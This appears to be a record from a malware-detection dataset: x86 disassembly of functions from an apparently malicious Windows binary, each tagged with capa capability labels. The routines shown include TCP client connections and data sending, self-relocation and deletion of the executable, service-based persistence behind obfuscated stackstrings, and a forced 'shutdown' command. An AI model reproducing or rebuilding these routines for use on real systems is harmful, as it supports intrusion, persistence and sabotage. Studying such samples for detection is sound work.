joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bebb6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c5230
cmp edx, dword [eax]
je 0x4bebd8
add eax, 8
inc ecx
cmp eax, 0x4c52c0
jl 0x4bebc9
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c5230]
jne 0x4bed06
mov eax, dword [0x4c98b8]
cmp eax, 1
je 0x4bece0
test eax, eax
jne 0x4bec09
cmp dword [0x4c5174], 1
je 0x4bece0
cmp edx, 0xfc
je 0x4bed06
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bec40
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bf2d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bf500
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bec83
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bf500
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c2798
push edi
call fcn.004c0cd0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bf2d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bf2e0
lea eax, [ebp - 0xa0]
push 0x4c2778
push eax
call fcn.004bf2e0
push dword [esi + 0x4c5234]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bf2e0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004c0c44
add esp, 0x2c
pop edi
jmp 0x4bed06
lea eax, [ebp + 8]
lea esi, [esi + 0x4c5234]
push 0
push eax
push dword [esi]
call fcn.004bf500
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401dde
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x14], ecx
mov byte [ebp - 0x24], 1
mov byte [ebp - 0x23], 2
mov byte [ebp - 0x22], 4
mov byte [ebp - 0x21], 8
mov byte [ebp - 0x20], 0x10
mov byte [ebp - 0x1f], 0x20
mov byte [ebp - 0x1e], 0x40
mov byte [ebp - 0x1d], 0x80
mov byte [ebp - 0x1c], 0x1b
mov byte [ebp - 0x1b], 0x36
xor esi, esi
mov edi, ebx
mov eax, dword [ebp + 8]
xor ecx, ecx
add eax, esi
mov dl, byte [eax]
add eax, 4
mov byte [edi + ecx], dl
inc ecx
cmp ecx, 4
jl 0x401e20
inc esi
add edi, 4
cmp esi, 4
jl 0x401e19
push 1
lea eax, [ebp - 0x24]
pop ecx
dec eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], 0x10
mov dword [ebp - 0x18], eax
xor esi, esi
mov dword [ebp - 0xc], esi
xor eax, eax
test esi, esi
lea edx, [eax + ecx*4]
je 0x401e62
lea edx, [esi + edx*4]
mov dl, byte [edx + ebx - 1]
jmp 0x401e66
mov dl, byte [ebx + edx*4 - 0xd]
mov byte [ebp + eax - 4], dl
inc eax
cmp eax, 4
jl 0x401e52
test esi, esi
jne 0x401ec2
mov al, byte [ebp - 4]
push 1
mov byte [ebp + 0xb], al
pop ebx
lea eax, [ebp - 4]
xor edi, edi
sub ebx, eax
lea esi, [ebp + edi - 4]
push 4
pop ecx
lea eax, [ebx + esi]
cdq
idiv ecx
mov eax, dword [ebp - 0x14]
inc edi
cmp edi, 3
movzx ecx, byte [ebp + edx - 4]
mov cl, byte [ecx + eax + 4]
mov byte [esi], cl
jl 0x401e84
movzx ecx, byte [ebp + 0xb]
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
mov al, byte [ecx + eax + 4]
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ecx]
xor byte [ebp - 4], al
mov eax, dword [ebp - 8]
xor edi, edi
add eax, esi
add eax, ebx
mov dl, byte [ebp + edi - 4]
xor dl, byte [eax - 0x10]
inc edi
mov byte [eax], dl
add eax, 4
cmp edi, 4
jl 0x401ecb
inc esi
cmp esi, 4
mov dword [ebp - 0xc], esi
jl 0x401e50
add dword [ebp - 8], 0x10
inc ecx
cmp ecx, 0xa
mov dword [ebp - 0x10], ecx
jle 0x401e4b
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x401f02
Capabilities:
Encrypt data using aes mixcolumns step

Disassembly:
push ebp
mov ebp, esp
mov cl, byte [ebp + 0xc]
push ebx
push esi
push 1
xor al, al
mov byte [ebp + 0xc], cl
pop esi
mov dl, byte [ebp + esi + 0xb]
lea ecx, [ebp + esi + 0xc]
shl dl, 1
mov byte [ecx], dl
test byte [ecx - 1], 0x80
je 0x401f29
xor dl, 0x1b
mov byte [ecx], dl
inc esi
cmp esi, 4
jl 0x401f12
xor edx, edx
mov bl, byte [ebp + 8]
mov cl, dl
shr bl, cl
test bl, 1
je 0x401f41
xor al, byte [ebp + edx + 0xc]
inc edx
cmp edx, 4
jl 0x401f31
pop esi
pop ebx
pop ebp
ret 8

Function at 0x401f4d
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
xor edi, edi
mov ecx, dword [esp + 0x14]
push 4
lea eax, [edi + esi]
sub ecx, esi
pop edx
mov bl, byte [ecx + eax]
xor byte [eax], bl
add eax, 4
dec edx
jne 0x401f62
inc edi
cmp edi, 4
jl 0x401f56
pop edi
pop esi
pop ebx
ret 8
Function at 0x401ff2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 4
jmp 0x402010
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov esi, eax
mov dl, byte [esi]
add esi, 4
mov byte [ebp + ecx + 8], dl
inc ecx
cmp ecx, 4
jl 0x402014
push 3
lea edi, [ebp + 8]
pop esi
mov dword [ebp - 8], eax
sub edi, esi
lea eax, [esi - 2]
push 4
cdq
pop ecx
idiv ecx
mov ecx, dword [ebp - 4]
mov al, byte [ebp + edx + 8]
push eax
push 0xb
call fcn.00401f02
mov bl, al
lea eax, [esi - 1]
push 4
cdq
pop ecx
idiv ecx
mov ecx, dword [ebp - 4]
mov al, byte [ebp + edx + 8]
push eax
push 0xd
call fcn.00401f02
xor bl, al
mov eax, esi
push 4
cdq
pop ecx
idiv ecx
mov ecx, dword [ebp - 4]
mov al, byte [ebp + edx + 8]
push eax
push 9
call fcn.00401f02
mov ecx, dword [ebp - 4]
xor bl, al
mov al, byte [edi + esi]
push eax
push 0xe
call fcn.00401f02
xor bl, al
mov eax, dword [ebp - 8]
add dword [ebp - 8], 4
inc esi
mov byte [eax], bl
lea eax, [esi - 3]
cmp eax, 4
jl 0x40202e
inc dword [ebp - 0xc]
dec dword [ebp - 0x10]
jne 0x40200d
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4021d2
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x4021f6
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4021ef
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x4021f7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x402243
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402248
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x40224a
mov eax, esi
pop esi
leave
ret
Function at 0x4027fd
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
mov eax, 0x407567
call fcn.00407324
sub esp, 0x2ec
push ebx
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 0x1c], 0x2b
mov byte [ebp - 0x1b], 0x7e
mov byte [ebp - 0x1a], 0x15
mov byte [ebp - 0x19], 0x15
mov byte [ebp - 0x18], 0x28
mov byte [ebp - 0x17], 0xae
mov byte [ebp - 0x16], 0xd2
mov byte [ebp - 0x15], 0xa6
mov byte [ebp - 0x14], 0xab
mov byte [ebp - 0x13], 0xf8
mov byte [ebp - 0x12], 0x17
mov byte [ebp - 0x11], 0x88
mov byte [ebp - 0x10], 7
mov byte [ebp - 0xf], 0xcf
mov byte [ebp - 0xe], 0x4f
mov byte [ebp - 0xd], 0x3c
call fcn.00401000
lea eax, [ebp - 0x44]
xor ebx, ebx
push eax
push 0x4090dc
lea ecx, [ebp - 0x2f8]
mov dword [ebp - 4], ebx
call fcn.00401cfc
push 0x1f91
mov word [ebp - 0x30], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2e], ax
lea eax, [ebp - 0x44]
push eax
call fcn.004021d2
push 9
mov edi, str._ni_d__j_d_n
push 6
push edi
mov dword [ebp - 0x2c], eax
call sub.MSVCRT.dll_printf
push 0x12
mov esi, str._nx_d__y_d_n
push 6
push esi
call sub.MSVCRT.dll_printf
add esp, 0x1c
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x20], eax
nop
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
call ebx
nop
push 0
call ebx
push 9
push 6
pop ebx
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x30]
push 0x10
push eax
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402911
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
jmp 0x402929
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
mov esi, dword [ebp - 0x20]
add esp, 0x18
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f8]
call fcn.00401cf5
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x402949
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp + 0xc]
push 4
push eax
push 8
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x402a13
push ebx
push esi
push edi
push 9
push 6
mov edi, str._ni_d__j_d_n
pop ebx
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call sub.MSVCRT.dll_printf
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
push 9
push ebx
push edi
mov dword [ebp - 0xc], 1
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x48
mov dword [ebp - 8], 0x2bf20
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
push 9
push ebx
push edi
mov dword [ebp - 4], 0x2710
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x30
xor eax, eax
lea ecx, [ebp + 0xc]
push eax
push eax
push ecx
push eax
push eax
lea eax, [ebp - 0xc]
push 0xc
push eax
push 0x98000004
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_WSAIoctl]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402f01
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 9
push 6
pop ebx
mov edi, str._ni_d__j_d_n
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call sub.MSVCRT.dll_printf
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
push 4
pop ebp
push 9
push ebx
push edi
mov dword [esp + 0x50], ebp
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x48
mov dword [esp + 0x18], ebp
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [esp + 0x10]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
push 0
push str.MHz
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x18
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x404004
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x4e8
cmp dword [0x40a87c], 1
jne 0x40401b
push 0
call dword [sym.imp.KERNEL32.DLL_ExitThread]
push ebx
push ebp
push esi
push edi
push 9
push 6
pop ebp
mov ebx, str._ni_d__j_d_n
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
mov esi, str._nx_d__y_d_n
push ebp
push esi
call sub.MSVCRT.dll_printf
and dword [esp + 0x28], 0
push 9
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
add esp, 0x30
lea eax, [esp + 0x10]
mov ecx, 0x40a850
push eax
call fcn.00407160
push 9
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
fldz
xor eax, eax
lea edi, [esp + 0x3c]
fstp qword [esp + 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 9
pop edi
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
add esp, 0x30
lea eax, [esp + 0x1c]
mov ecx, 0x40a850
push 0
push eax
call fcn.00406f5c
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
fld qword [esp + 0x34]
add esp, 0x18
call sub.MSVCRT.dll__ftol
and dword [esp + 0x18], 0
push eax
mov eax, dword [esp + 0x14]
push ecx
mov dword [esp + 0x1c], eax
push ecx
fild qword [esp + 0x20]
fmul qword [0x408218]
fstp qword [esp]
push str._.fKb_bps_d__
lea eax, [esp + 0x108]
push eax
call sub.MSVCRT.dll_sprintf
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
add esp, 0x44
mov dword [esp + 0x2c], 0xa
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
lea eax, [esp + 0x110]
push eax
lea eax, [esp + 0x50]
push eax
call sub.MSVCRT.dll_strcpy
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
add esp, 0x38
lea eax, [esp + 0x2c]
push 0
push 0x18
push eax
push dword [0x40a808]
call dword [sym.imp.WS2_32.dll_send]
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4e8
ret
Function at 0x40418a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
mov eax, 0x40757f
call fcn.00407324
sub esp, 0x2ec
push ebx
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 0x1c], 0x2b
mov byte [ebp - 0x1b], 0x7e
mov byte [ebp - 0x1a], 0x15
mov byte [ebp - 0x19], 0x15
mov byte [ebp - 0x18], 0x28
mov byte [ebp - 0x17], 0xae
mov byte [ebp - 0x16], 0xd2
mov byte [ebp - 0x15], 0xa6
mov byte [ebp - 0x14], 0xab
mov byte [ebp - 0x13], 0xf8
mov byte [ebp - 0x12], 0x17
mov byte [ebp - 0x11], 0x88
mov byte [ebp - 0x10], 7
mov byte [ebp - 0xf], 0xcf
mov byte [ebp - 0xe], 0x4f
mov byte [ebp - 0xd], 0x3c
call fcn.00401000
lea eax, [ebp - 0x44]
xor ebx, ebx
push eax
push str.6BB4D63C83957017A127DEC0E5D599F7E8F512
lea ecx, [ebp - 0x2f8]
mov dword [ebp - 4], ebx
call fcn.00401cfc
mov ax, word [0x40923c]
mov word [ebp - 0x30], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2e], ax
lea eax, [ebp - 0x44]
push eax
call fcn.004021d2
push 9
mov edi, str._ni_d__j_d_n
push 6
push edi
mov dword [ebp - 0x2c], eax
call sub.MSVCRT.dll_printf
push 0x12
mov esi, str._nx_d__y_d_n
push 6
push esi
call sub.MSVCRT.dll_printf
add esp, 0x1c
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x20], eax
nop
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
call ebx
nop
push 0
call ebx
push 9
push 6
pop ebx
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x30]
push 0x10
push eax
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4042a0
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
jmp 0x4042b8
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
mov esi, dword [ebp - 0x20]
add esp, 0x18
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f8]
call fcn.00401cf5
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4042fb
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
nop
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
call esi
nop
push 0
call esi
push 9
mov ebx, str._ni_d__j_d_n
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
mov edi, str._nx_d__y_d_n
push 6
push edi
call sub.MSVCRT.dll_printf
push 0x104
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x104]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x30c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
lea eax, [eax + eax*2]
shl eax, 2
push eax
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x208]
push str._s_x
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
test eax, eax
je 0x40448e
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x208]
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
push 1
pop eax
jmp 0x4044a1
push 4
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40450d
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ax, word [0x40a7fc]
push esi
push eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x40a83c
mov word [ebp - 0xe], ax
call fcn.004021d2
pop ecx
mov dword [ebp - 0xc], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404565
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x404567
mov eax, esi
pop esi
leave
ret
Function at 0x405ff8
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push str.5A9F769FF57B7E1E994A964B211C5F1980FC12
push 0x4090dc
call sub.MSVCRT.dll_strcmp
pop ecx
cmp eax, 1
pop ecx
jne 0x40602e
push 3
call dword [sym.imp.KERNEL32.DLL_Sleep]
push str.shutdown__s__t_5
call sub.MSVCRT.dll_system
pop ecx
push 0
call sub.MSVCRT.dll_exit
push ebx
push esi
push edi
call fcn.00406121
test eax, eax
je 0x4060ad
nop
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
call esi
nop
push 0
call esi
push 9
mov ebx, str._ni_d__j_d_n
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
mov edi, str._nx_d__y_d_n
push 6
push edi
call sub.MSVCRT.dll_printf
xor eax, eax
add esp, 0x18
mov dword [ebp - 0x10], str.Uabcdef_Hijklm
mov dword [ebp - 0xc], 0x405a40
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
nop
push eax
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x406118
nop
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
call esi
nop
push 0
call esi
push 9
mov ebx, str._ni_d__j_d_n
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
mov edi, str._nx_d__y_d_n
push 6
push edi
call sub.MSVCRT.dll_printf
push str.Uabc_Efghijk_Mnopqrstua_C
push str.Uabcde_Ghijklm_Opqrstu_Bcde
push str.Uabcdef_Hijklm
call fcn.0040626f
add esp, 0x24
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
call fcn.004042fb
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x406121
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
mov byte [ebp - 0x12c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
nop
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
call esi
nop
push ebx
call esi
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x53
push eax
lea eax, [ebp - 0x12c]
push eax
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], bl
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
nop
push ebx
call esi
nop
push ebx
call esi
lea eax, [ebp - 0x12c]
push str.Uabcdef_Hijklm
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
nop
push ebx
call esi
nop
push ebx
call esi
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x12c]
push ebx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406268
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
push ebx
call esi
nop
push ebx
call esi
push 9
push 6
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
push 0x12
push 6
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
add esp, 0x18
push 1
pop eax
jmp 0x40626a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret